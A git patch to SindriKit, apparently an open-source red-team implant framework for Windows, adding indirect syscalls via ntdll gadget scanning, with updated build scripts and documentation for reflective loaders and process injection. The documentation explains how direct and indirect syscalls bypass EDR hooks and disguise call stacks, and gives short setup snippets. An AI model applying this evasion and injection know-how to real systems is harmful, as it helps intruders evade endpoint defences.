From b7d3cf717cbff48059996eeafe6b4b6abbc9931a Mon Sep 17 00:00:00 2001 From: sibouzitoun Date: Mon, 29 Jun 2026 19:31:15 +0100 Subject: [PATCH] Release v1.2.0: Indirect Syscalls & Pipeline Decoupling - Implemented fully decoupled direct and indirect syscall invocation - Added dynamic PEB-based gadget scanning (syscall; ret / sysenter) - Added x86 & x64 inline MASM stubs with proper stack frame alignment - Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation - Extensive documentation across all primitives and examples --- CHANGELOG.md | 16 ++++ CMakeLists.txt | 10 ++- README.md | 21 ++++- build.bat | 10 ++- docs/architecture/dependency_injection.md | 11 ++- docs/architecture/redteam_integration.md | 9 +- docs/common/infrastructure.md | 18 ++-- docs/domains/injection/README.md | 6 +- docs/domains/injection/techniques.md | 2 +- docs/domains/loaders/README.md | 4 +- docs/domains/loaders/techniques.md | 8 +- docs/domains/primitives/README.md | 2 +- docs/domains/primitives/execution/README.md | 29 ++++--- .../primitives/execution/api_reference.md | 5 +- docs/domains/primitives/mapping/techniques.md | 10 ++- docs/domains/primitives/memory/techniques.md | 10 ++- docs/domains/primitives/process/techniques.md | 2 +- docs/domains/primitives/syscalls/README.md | 45 ++++++++-- .../primitives/syscalls/api_reference.md | 86 ++++++++++++++++--- docs/domains/primitives/syscalls/engines.md | 39 +++++++-- docs/domains/primitives/syscalls/pipeline.md | 81 ++++++++++++----- docs/examples/inject_pe.md | 6 +- docs/examples/inject_shell.md | 7 +- docs/examples/loader_noCRT_nowinapi.md | 2 +- docs/examples/loader_nowinapi.md | 6 +- docs/getting_started/basic_usage.md | 34 +++++--- docs/getting_started/building.md | 2 + docs/parsers/env/techniques.md | 6 +- include/sindri/primitives/syscalls.h | 30 ++++++- pocs/inject_pe/main.c | 6 +- pocs/inject_shell/main.c | 5 +- pocs/loader_noCRT_nowinapi/main.c | 6 +- pocs/loader_nowinapi/main.c | 15 ++-- src/loaders/reflective/chain.c | 3 +- .../{invoke_x64.asm => invoke_direct_x64.asm} | 12 +-- .../{invoke_x86.asm => invoke_direct_x86.asm} | 10 +-- .../syscalls/asm/invoke_indirect_x64.asm | 69 +++++++++++++++ .../syscalls/asm/invoke_indirect_x86.asm | 71 +++++++++++++++ .../execution/syscalls/gadget_scan.c | 68 +++++++++++++++ src/primitives/execution/syscalls/syscalls.c | 37 ++++++-- src/primitives/mapping/sys.c | 20 ++++- src/primitives/memory/sys.c | 20 ++++- src/primitives/process/sys.c | 41 +++++++-- 43 files changed, 727 insertions(+), 173 deletions(-) rename src/primitives/execution/syscalls/asm/{invoke_x64.asm => invoke_direct_x64.asm} (83%) rename src/primitives/execution/syscalls/asm/{invoke_x86.asm => invoke_direct_x86.asm} (86%) create mode 100644 src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm create mode 100644 src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm create mode 100644 src/primitives/execution/syscalls/gadget_scan.c diff --git a/CHANGELOG.md b/CHANGELOG.md index 0909c71..9640b97 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), --- +## [1.2.0] - 2026-06-29 + +Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience. + +### Major Additions +- **Indirect Syscalls**: Architecture updated to decouple SSN resolution from invocation. Supports switching between direct and indirect syscall invocation dynamically. +- **Gadget Finder (`snd_syscall_find_gadget_scan`)**: Dynamically locates the `syscall; ret` (x64) or OS-transition instructions (x86) from the natively loaded `ntdll.dll` in the PEB to properly masquerade the call stack. +- **x86/x64 Support**: Full indirect syscall assembly stubs for both architectures (`invoke_indirect_x64.asm`, `invoke_indirect_x86.asm`), including proper stack frame alignment and teardown. + +### Architecture & Refactoring +- **Compile-Time Defaults (`SND_USE_DEFAULTS`)**: Added a CMake flag to pre-configure the pipeline's globals (invoker, gadget finder, and primary resolver). Implemented as a macro for OpSec to prevent linking unused scanner/ASM dependencies when disabled. +- **Pipeline Overhaul**: Replaced `snd_syscall_strategy_set` terminology with `snd_syscall_set_resolver` and added `snd_syscall_set_invoker` / `snd_syscall_set_gadget_finder` to manage the decoupled execution flow. +- **Documentation**: Extensive documentation overhaul across all primitives, examples, PoCs, and architecture files to reflect the new pipeline structure and OpSec considerations. + +--- + ## [1.1.0] - 2026-06-26 Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation. diff --git a/CMakeLists.txt b/CMakeLists.txt index 8b66287..accf06e 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -8,6 +8,7 @@ option(SND_BUILD_PAYLOADS "Build bundled PoC loaders" OFF) option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF) option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF) option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF) +option(SND_USE_DEFAULTS "Use sensible defaults for configuration globals" OFF) # --- Configuration Guards --- if(SND_CRTLESS) @@ -29,11 +30,11 @@ endif() # --- Architecture-specific assembly --- if(CMAKE_SIZEOF_VOID_P EQUAL 8) - set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x64.asm) + set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm) set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm) set(HEAVENSGATE_ASM "") else() - set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x86.asm) + set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm) set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm) set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm) endif() @@ -110,6 +111,7 @@ add_library(sindri_engine STATIC src/primitives/execution/syscalls/syscalls.c src/primitives/execution/syscalls/syscalls_scan.c src/primitives/execution/syscalls/syscalls_sort.c + src/primitives/execution/syscalls/gadget_scan.c # Assembly & generated ${SYSCALL_ASM} @@ -157,6 +159,10 @@ target_compile_definitions(sindri_engine PUBLIC SND_HASH_${SND_HASH_ALGO}=1 ) +if(SND_USE_DEFAULTS) + target_compile_definitions(sindri_engine PUBLIC SND_USE_DEFAULTS=1) +endif() + # --- Compiler warnings --- if(MSVC) target_compile_options(sindri_engine PRIVATE diff --git a/README.md b/README.md index 9fa3984..306701c 100644 --- a/README.md +++ b/README.md @@ -105,10 +105,16 @@ SindriKit treats syscall resolution as an injectable mechanic, stacking strategi ```c snd_syscall_set_ntdll(clean_ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` +The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`. + ### Compile-Time Algorithm Agility Every API name and module string is removed from the final binary at compile time via a single CMake variable: @@ -147,10 +153,16 @@ Bootstrap the syscall pipeline once (typical pattern): PVOID clean_ntdll = NULL; snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll); snd_syscall_set_ntdll(clean_ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` +The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`. + Swap execution profile with one assignment: ```c @@ -177,6 +189,7 @@ The standard deployment configuration for operational binaries. Every diagnostic set(SND_ENABLE_DEBUG OFF CACHE BOOL "") set(SND_BUILD_PAYLOADS OFF CACHE BOOL "") set(SND_RANDOMIZE_SEED ON CACHE BOOL "") +set(SND_USE_DEFAULTS ON CACHE BOOL "") set(SND_HASH_ALGO "DJB2" CACHE STRING "") add_subdirectory(vendor/SindriKit) target_link_libraries(my_tool PRIVATE sindri::engine) diff --git a/build.bat b/build.bat index cc0b4d1..7608505 100755 --- a/build.bat +++ b/build.bat @@ -1,7 +1,7 @@ @echo off setlocal -set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF +set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF -DSND_USE_PRINTF=OFF -DSND_BUILD_TESTS=OFF -DSND_BUILD_PAYLOADS=OFF -DSND_CRTLESS=OFF -DSND_RANDOMIZE_SEED=OFF -DSND_USE_DEFAULTS=OFF set BUILD_TIER=SILENT set BUILD_OUTPUT=DEBUGGER set HASH_ALGO=DJB2 @@ -10,6 +10,7 @@ set BUILD_POCS=OFF set BUILD_CRTLESS=OFF set CLEAN_BUILD=OFF set RANDOMIZE=OFF +set USE_DEFAULTS=OFF :parse_args if "%~1"=="" goto :done_args @@ -42,10 +43,13 @@ if /I "%~1"=="debug" ( ) else if /I "%~1"=="random" ( set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON set RANDOMIZE=ON +) else if /I "%~1"=="defaults" ( + set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_USE_DEFAULTS=ON + set USE_DEFAULTS=ON ) else ( echo [!] Unknown argument: %~1 echo. - echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] + echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] [defaults] echo. echo debug Enable debug prints ^(default: silent^) echo console Use printf output ^(default: OutputDebugString^) @@ -56,6 +60,7 @@ if /I "%~1"=="debug" ( echo crtless Build CRT-less echo clean Delete build dirs before compiling echo random Use randomized seed for compile-time hashes + echo defaults Use sensible defaults for configuration globals exit /b 1 ) shift @@ -72,6 +77,7 @@ echo [*] Tests : %BUILD_TESTS% echo [*] PoCs : %BUILD_POCS% echo [*] CRTless : %BUILD_CRTLESS% echo [*] Random : %RANDOMIZE% +echo [*] Defaults: %USE_DEFAULTS% echo. if "%CLEAN_BUILD%"=="ON" ( diff --git a/docs/architecture/dependency_injection.md b/docs/architecture/dependency_injection.md index 5317bf7..c76caaa 100644 --- a/docs/architecture/dependency_injection.md +++ b/docs/architecture/dependency_injection.md @@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB |---|---|---| | `_win` | Documented Win32 APIs | memory, modules, mapping, process | | `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process | -| `_sys` | Direct syscalls (`snd_syscall_invoke_asm`) | memory, mapping, process — **not** modules | +| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules | ### OpSec profile examples @@ -99,8 +99,13 @@ PVOID ntdll = NULL; snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); + +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit. diff --git a/docs/architecture/redteam_integration.md b/docs/architecture/redteam_integration.md index 5336bed..ccc2e97 100644 --- a/docs/architecture/redteam_integration.md +++ b/docs/architecture/redteam_integration.md @@ -47,8 +47,13 @@ static snd_status_t bootstrap_engine(void) { return status; snd_syscall_set_ntdll(ntdll); - snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); - snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); + snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); + snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); + + snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); + // or for indirect syscalls: + // snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); + // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); return SND_OK; } diff --git a/docs/common/infrastructure.md b/docs/common/infrastructure.md index 4a9abbd..c41b882 100644 --- a/docs/common/infrastructure.md +++ b/docs/common/infrastructure.md @@ -10,19 +10,19 @@ The former monolithic `helpers.h` and `nt_defs.h` were split for clarity: ``` include/sindri/common/ -├── macros.h ← compiler / linkage macros (was part of helpers) -├── memory.h ← bounds + memzero/memcpy + SND_PTR_ADD -├── string.h ← ASCII + wide string helpers (new wide APIs) -├── buffer.h ← tracked buffers +├── macros.h <- compiler / linkage macros (was part of helpers) +├── memory.h <- bounds + memzero/memcpy + SND_PTR_ADD +├── string.h <- ASCII + wide string helpers (new wide APIs) +├── buffer.h <- tracked buffers ├── hash.h ├── status.h -├── debug.h ← debug macros (was mixed into helpers) +├── debug.h <- debug macros (was mixed into helpers) └── disk.h -include/sindri/internal/nt/ ← was sindri/internal/nt_defs.h -├── types.h ← NT structs, SND_PAGE_SIZE, unicode init -├── api.h ← Nt* typedefs -└── peb.h ← PEB / LDR layouts +include/sindri/internal/nt/ <- was sindri/internal/nt_defs.h +├── types.h <- NT structs, SND_PAGE_SIZE, unicode init +├── api.h <- Nt* typedefs +└── peb.h <- PEB / LDR layouts ``` --- diff --git a/docs/domains/injection/README.md b/docs/domains/injection/README.md index 2d66f99..f4a4e27 100644 --- a/docs/domains/injection/README.md +++ b/docs/domains/injection/README.md @@ -10,10 +10,10 @@ Each technique adds engine functions and chains under a subdirectory but mutates ``` include/sindri/injection/ -├── context.h ← shared across ALL techniques +├── context.h <- shared across ALL techniques └── classic/ - ├── engine.h ← per-stage classic engine - └── chain.h ← snd_inj_classic_shell, snd_inj_classic_pe + ├── engine.h <- per-stage classic engine + └── chain.h <- snd_inj_classic_shell, snd_inj_classic_pe ``` Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today). diff --git a/docs/domains/injection/techniques.md b/docs/domains/injection/techniques.md index cf37404..2413317 100644 --- a/docs/domains/injection/techniques.md +++ b/docs/domains/injection/techniques.md @@ -100,7 +100,7 @@ The PE chain deliberately interleaves loader and injection stages so relocations | 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)` → `SND_STAGE_PARSED` | | 2 | Loader | `snd_ldr_pe_compatibility_check` | | 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping | -| 4 | Injection | `inj_ctx->payload` ← local mapped buffer (`local_base`, `allocated_size`) | +| 4 | Injection | `inj_ctx->payload` <- local mapped buffer (`local_base`, `allocated_size`) | | 5 | Injection | `snd_inj_classic_open_target` | | 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` | | 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` | diff --git a/docs/domains/loaders/README.md b/docs/domains/loaders/README.md index 7f9de8a..031160e 100644 --- a/docs/domains/loaders/README.md +++ b/docs/domains/loaders/README.md @@ -57,8 +57,8 @@ Loaders and injection PoCs use KnownDlls to bootstrap clean `ntdll` for syscall ``` include/sindri/loaders/ -├── reflective/ ← implemented (snd_ldr_pe_ctx_t) -└── / ← future, technique-specific context + engine + chain +├── reflective/ <- implemented (snd_ldr_pe_ctx_t) +└── / <- future, technique-specific context + engine + chain ``` Each technique owns its context struct, stage enum, engine functions, and chain orchestrator. diff --git a/docs/domains/loaders/techniques.md b/docs/domains/loaders/techniques.md index a91d084..77d20d0 100644 --- a/docs/domains/loaders/techniques.md +++ b/docs/domains/loaders/techniques.md @@ -169,8 +169,12 @@ Typical sequence before `snd_mem_sys` / `snd_proc_sys`: PVOID clean_ntdll = NULL; snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll); snd_syscall_set_ntdll(clean_ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` --- diff --git a/docs/domains/primitives/README.md b/docs/domains/primitives/README.md index 80dc501..0dde865 100644 --- a/docs/domains/primitives/README.md +++ b/docs/domains/primitives/README.md @@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i | [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) | | [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls | | [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` | -| [syscalls/](syscalls/) | SSN resolution pipeline, `snd_syscall_invoke_asm` | +| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) | | [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate | Contract definitions: `include/sindri/primitives/os_api.h` diff --git a/docs/domains/primitives/execution/README.md b/docs/domains/primitives/execution/README.md index b6bbe2e..66f01d6 100644 --- a/docs/domains/primitives/execution/README.md +++ b/docs/domains/primitives/execution/README.md @@ -8,7 +8,7 @@ Low-level mechanisms for **calling unknown function signatures**, **crossing WoW |---|---| | `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports | | `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 | -| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_invoke_asm` (documented under [syscalls/](../syscalls/)) | +| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm` (documented under [syscalls/](../syscalls/)) | All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`. @@ -19,21 +19,24 @@ Implementation lives under `src/primitives/execution/`: ``` src/primitives/execution/ ├── ffi/ -│ ├── ffi_invoke.c ← snd_ffi_execute validation + dispatch +│ ├── ffi_invoke.c <- snd_ffi_execute validation + dispatch │ └── asm/ -│ ├── ffi_x64.asm ← snd_ffi_bridge_x64 -│ └── ffi_x86.asm ← snd_ffi_bridge_x86 +│ ├── ffi_x64.asm <- snd_ffi_bridge_x64 +│ └── ffi_x86.asm <- snd_ffi_bridge_x86 ├── heavens_gate/ -│ ├── heavens_gate.c ← WoW64 detection + argument padding +│ ├── heavens_gate.c <- WoW64 detection + argument padding │ └── asm/ -│ └── heavens_gate_x86.asm ← snd_hg_invoke_x86 (CS 0x33 transition) +│ └── heavens_gate_x86.asm <- snd_hg_invoke_x86 (CS 0x33 transition) └── syscalls/ - ├── syscalls.c ← strategy chain, snd_syscall_resolve - ├── syscalls_scan.c ← snd_syscall_resolve_ssn_scan - ├── syscalls_sort.c ← snd_syscall_resolve_ssn_sort - └── asm/ - ├── invoke_x64.asm ← snd_syscall_invoke_asm (x64) - └── invoke_x86.asm ← snd_syscall_invoke_asm (x86) + ├── syscalls.c <- strategy chain, snd_syscall_resolve + ├── syscalls_scan.c <- snd_syscall_resolve_ssn_scan + ├── syscalls_sort.c <- snd_syscall_resolve_ssn_sort + ├── gadget_scan.c <- snd_syscall_find_gadget_scan + └── asm/ + ├── invoke_direct_x64.asm <- snd_syscall_direct_invoke_asm (x64) + ├── invoke_direct_x86.asm <- snd_syscall_direct_invoke_asm (x86) + ├── invoke_indirect_x64.asm <- snd_syscall_indirect_invoke_asm (x64) + └── invoke_indirect_x86.asm <- snd_syscall_indirect_invoke_asm (x86) ``` Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate. @@ -56,6 +59,6 @@ DllMain, TLS, and EXE entry use **typed direct calls** inside `snd_ldr_pe_execut ## Related documentation -- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_invoke_asm` +- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm` - [Loaders: DLL export FFI](../../loaders/techniques.md) - [PoC: heavens_gate](../../../examples/heavens_gate.md) diff --git a/docs/domains/primitives/execution/api_reference.md b/docs/domains/primitives/execution/api_reference.md index da682c0..8ffc79a 100644 --- a/docs/domains/primitives/execution/api_reference.md +++ b/docs/domains/primitives/execution/api_reference.md @@ -2,7 +2,7 @@ Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`. -For the syscall surface (`snd_syscall_resolve`, `snd_syscall_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md). +For the syscall surface (`snd_syscall_resolve`, `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md). --- @@ -93,6 +93,7 @@ snd_status_t snd_hg_execute_64( | `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space | | `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore | | `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call | -| `snd_syscall_invoke_asm` | `syscalls/asm/invoke_x64.asm` or `invoke_x86.asm` (arch-selected) | Direct `syscall` instruction stub | +| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub | +| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget | These are linked into `sindri::engine`; callers use the C wrappers above. diff --git a/docs/domains/primitives/mapping/techniques.md b/docs/domains/primitives/mapping/techniques.md index e53fe7d..306a6cf 100644 --- a/docs/domains/primitives/mapping/techniques.md +++ b/docs/domains/primitives/mapping/techniques.md @@ -41,7 +41,7 @@ The `snd_map_sys` implementation invokes `NtOpenSection`, `NtMapViewOfSection`, Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped. > [!WARNING] -> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before invocation. Unconfigured pipelines cause immediate resolution failures. +> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before invocation. Unconfigured pipelines cause immediate resolution failures. ## KnownDlls Bootstrapping @@ -56,8 +56,12 @@ if (SND_FAILED(status)) { // Feed the mapped image into the syscall pipeline snd_syscall_set_ntdll(clean_ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed. diff --git a/docs/domains/primitives/memory/techniques.md b/docs/domains/primitives/memory/techniques.md index 67b565b..a10f11b 100644 --- a/docs/domains/primitives/memory/techniques.md +++ b/docs/domains/primitives/memory/techniques.md @@ -45,12 +45,16 @@ Direct syscalls bypass userland EDR hooks inside `ntdll.dll` stubs. The kernel r > [!WARNING] > `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation: > + > ```c > snd_syscall_set_ntdll(clean_ntdll_base); -> snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -> snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +> snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +> snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +> snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +> // or for indirect syscalls: +> // snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +> // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); > ``` -> > If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error. ## Mixing Backends diff --git a/docs/domains/primitives/process/techniques.md b/docs/domains/primitives/process/techniques.md index c17c8a3..a2c5ab5 100644 --- a/docs/domains/primitives/process/techniques.md +++ b/docs/domains/primitives/process/techniques.md @@ -45,7 +45,7 @@ Remote thread creation uses `NtCreateThreadEx` with the same access mask (`0x1FF Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles. > [!WARNING] -> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation. +> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation. ## Injection Integration diff --git a/docs/domains/primitives/syscalls/README.md b/docs/domains/primitives/syscalls/README.md index 4a06c63..8eeb7ce 100644 --- a/docs/domains/primitives/syscalls/README.md +++ b/docs/domains/primitives/syscalls/README.md @@ -1,12 +1,12 @@ # Syscall Primitives -Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs. +Direct and indirect syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs — either inline (direct) or by jumping to a legitimate NTDLL gadget (indirect). **Header:** `include/sindri/primitives/syscalls.h` **Implementation:** `src/primitives/execution/syscalls/` > [!WARNING] -> **Bootstrap required:** Call `snd_syscall_set_ntdll()` and configure at least one strategy via `snd_syscall_strategy_set()` before `snd_syscall_resolve()`. `_sys` memory/process/mapping backends depend on this pipeline. +> **Bootstrap required:** Call `snd_syscall_set_ntdll()`, configure at least one strategy via `snd_syscall_set_resolver()`, and configure the invoker via `snd_syscall_set_invoker()` before `snd_syscall_resolve()`. For indirect invocation, also set a gadget finder via `snd_syscall_set_gadget_finder()`. With `SND_USE_DEFAULTS=ON`, only `snd_syscall_set_ntdll()` is required — the resolver, invoker, and gadget finder are pre-configured at compile time. `_sys` memory/process/mapping backends depend on this pipeline. ## How `_sys` primitives use syscalls @@ -14,10 +14,18 @@ Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System snd_mem_sys / snd_proc_sys / snd_map_sys │ ▼ - snd_syscall_resolve(func_hash) ← cascading strategy chain + snd_syscall_resolve(func_hash) <- cascading strategy chain │ ▼ - snd_syscall_invoke_asm(&args) ← x64/x86 ASM stub + (gadget finder, if indirect) <- locates syscall/sysenter gadget in NTDLL + │ + ▼ + g_syscall_invoker(&args) <- dispatches to configured ASM stub + │ + ┌───┴───────────────────┐ + ▼ ▼ + snd_syscall_direct_ snd_syscall_indirect_ + invoke_asm invoke_asm ``` Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`). @@ -29,15 +37,38 @@ Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTA | `snd_syscall_resolve_ssn_scan` | `syscalls_scan.c` | Read SSN from stub bytes; neighbor scan if hooked | | `snd_syscall_resolve_ssn_sort` | `syscalls_sort.c` | Build sorted `Zw*` export table; index = SSN | -Typical registration — scan first, sort as fallback: +Typical registration: ```c -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (max 4 strategies). +## Invocation modes + +| Function | File | Description | +|---|---|---| +| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline | +| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget | + +> [!NOTE] 